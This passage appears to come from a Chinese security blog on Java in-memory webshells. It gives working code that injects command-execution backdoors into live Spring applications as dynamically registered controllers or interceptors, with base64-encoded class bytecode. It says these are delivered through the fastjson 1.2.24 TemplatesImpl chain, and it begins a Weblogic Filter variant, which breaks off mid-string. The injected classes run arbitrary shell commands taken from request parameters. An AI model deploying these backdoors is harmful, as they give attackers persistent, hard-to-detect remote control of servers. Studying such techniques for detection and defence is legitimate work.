import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Method;

public class inject extends AbstractTranslet {
    static {
        try {
            String className = "com.example.spring.InjectControl";
            //加载com.example.spring.InjectControl类的字节码
            String b64 = "yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);

            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
            //通过反射获得自定义controller中唯一的Method对象
            Method method = (Class.forName(className).getDeclaredMethods())[0];
            //定义访问controller的URL地址
            PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
            //定义允许访问 controller 的 HTTP 方法（GET/POST）
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            //在内存中动态注册 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            r.registerMapping(info, Class.forName(className).newInstance(), method);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

InjectControl类，定义的处理请求的control，把该类class字节码base64编码后放到inject类的字段中。

package com.example.spring;

import java.io.PrintWriter;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class InjectControl {
    public InjectControl() {
    }

    @RequestMapping({"/favicon"})
    public void login(HttpServletRequest request, HttpServletResponse response) {
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }

                Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception var8) {
        }

    }
}

利用fastjson 1.2.24的TemplatesImpl利用链，加载字节码。

执行命令

registerHandler

针对使用DefaultAnnotationHandlerMapping映射器的应用，可以找到它继承的顶层类：org.springframework.web.servlet.handler.AbstractUrlHandlerMapping

发现其中有一个registerHandler 方法。该方法接受urlPath参数和 handler参数，可以在 this.getApplicationContext()获得的上下文环境中寻找名字为handler参数值的bean，将url和controller 实例bean注册到handlerMap中。

//在当前上下文环境中注册一个名为dynamicController的Webshell controller实例bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
//从当前上下文环境中获得DefaultAnnotationHandlerMapping的实例bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
//反射获得registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
//将dynamicController和URL注册到handlerMap中
m1.invoke(dh, "/favicon", "dynamicController");

detectHandlerMethods

org.springframework.web.servlet.handler.AbstractUrlHandlerMapping 还中有一个detectHandlerMethods方法。该方法仅接受handler参数，同样可以在 this.getApplicationContext()获得的上下文环境中寻找名字为handler参数值的bean，并注册 controller 的实例bean。

context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

注意事项

在使用第一中registerMapping动态注册controller时，不需要强制使用@RequestMapping注解定义URL地址和HTTP请求的方法，其余两种手动注册controller的方法都必须要在controller中使用@RequestMapping 注解。
当有些老旧的项目中使用旧式注解映射器时，上下文环境中没有RequestMappingHandlerMapping实例的 bean，但会存在DefaultAnnotationHandlerMapping的实例bean。

intercetor内存马

原理分析

拦截器可以用在权限验证，比如在访问后台资源的时候，经过拦截器看请求有没有进行身份验证，身份验证通过后放行，否则跳转会后台登陆页面。（拦截器只会拦截控制器的方法）

定义拦截器必须实现HandlerInterceptor接口，HandlerInterceptor接口中有三个方法：

preHandle方法是controller方法执行前拦截的方法
- 可以使用request或者response跳转到指定的页面
- return true放行，执行下一个拦截器，如果没有拦截器，执行controller中的方法。
- return false不放行，不会执行controller中的方法。
postHandle是controller方法执行后执行的方法，在JSP视图执行前。
- 可以使用request或者response跳转到指定的页面
- 如果指定了跳转的页面，那么controller方法跳转的页面将不会显示。
afterCompletion方法是在JSP执行后执行
- request或者response不能再跳转页面了

正常注册拦截器

public class MyInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("拦截器执行");
        request.getRequestDispatcher("/WEB-INF/pages/error.jsp").forward(request,response);
        return true;
    }

    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("控制器执行后执行");
    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("jsp页面执行后执行");
    }
}

再到xml文件中配置拦截路径和拦截器。

<mvc:interceptors>
    <mvc:interceptor>
        <!--            配置拦截器拦截路径-->
        <mvc:mapping path="/users/*"/>
        <!--            注入自定义拦截器-->
        <bean class="com.example.spring.MyInterceptor"/>
    </mvc:interceptor>
</mvc:interceptors>

下面跟一下拦截器的触发点从internalDoFilter方法中进入调用serverlet的service方法后一直跟到org.springframework.web.servlet.DispatcherServlet类的doDispatch方法。该方法中调用了this.getHandler(processedRequest)跟进该方法第一个mapping是org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping对象，它的getHandler方法实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping类的getHandler方法。

在该方法中会调用getHandlerExecutionChain方法，它会遍历this.adaptedInterceptors对象里所有的 HandlerInterceptor类实例，匹配当前请求url，和拦截器中的url匹配的话，会通过chain.addInterceptor把已有的所有拦截器加入到需要返回的HandlerExecutionChain类实例中。然后返回到doDispatch方法中，通过前面获取到handler之后，会调用handler的preHandle方法。

动态注入Interceptor

通过上面分析发现，如果把自定义的Interceptor类加入到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。

package com.exaple.spring;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

public class inject extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            String className = "com.example.spring.magicInterceptor";
            //加载com.example.spring.magicInterceptor类的字节码
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

magicInterceptor拦截器，重写preHandle方法，并将该class编码。

package com.example.spring;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class magicInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

}

利用fastjson 1.2.24的TemplatesImpl利用链，加载字节码。将inject的class文件base64编码，post传入username参数。执行命令

参考

Weblogic 内存马分析与实现

myzx.xcg@gmail.com (myzxcg) — Sat, 06 Nov 2021 22:02:36 +0800

Filter

Filter 加载过程分析

Weblogic Filter内存马和Tomcat其实差不多。

在weblogic.servlet.internal.WebAppServletContext#wrapRun中通过getFilterChain()获取包含Filter链的FilterChainImpl对象。跟进getFilterChain()方法，该方法在weblogic.servlet.internal.FilterManager类中，可以看到该方法实例化了一个FilterChainImpl类，并添加包含Filter的wrapper到该对象中。返回FilterChainImpl对象获取了FilterChainImpl对象后，再调用该对象的doFilter()方法，跟进doFilter()方法。可以看到这步就获取注册的Filter类，并调用Filter的doFilter方法。 手动注册Filter类

在weblogic.servlet.internal.FilterManager类中有一个registerFilter方法可以动态注册Filter。该方法中，创建FilterWrapper对象传入FilterClassName字符串后，在this.loadFilter(fw)中对该filter类进行加载。 loadFilter中调用this.context.createInstance(filterClassName)对类进行加载，跟进查看。使用的是weblogic自己定义的一个classloader，调用自定义的loadclass方法。ChangeAwareClassLoader.loadClass方法会从cache中查找是否存在待查找的类，也就是this.cachedClasses这个变量。总结: 如果要手动注册Filter，只需要将恶意filter添加到cachedClasses中，然后调用registerFilter接口进行添加即可。

实现代码

Tips: 代码解释看注释

测试weblogic 1036和12.1.3成功

package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import javax.servlet.http.*;

public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        Thread thread = Thread.currentThread();
        try {
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext webAppServletContext=null;
            try{ //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(servletRequest);

            }catch (Exception e){
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(workentry);
            }
            if(webAppServletContext==null){throw new Exception("null");}
            //加载字节码
            String encode_class = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYA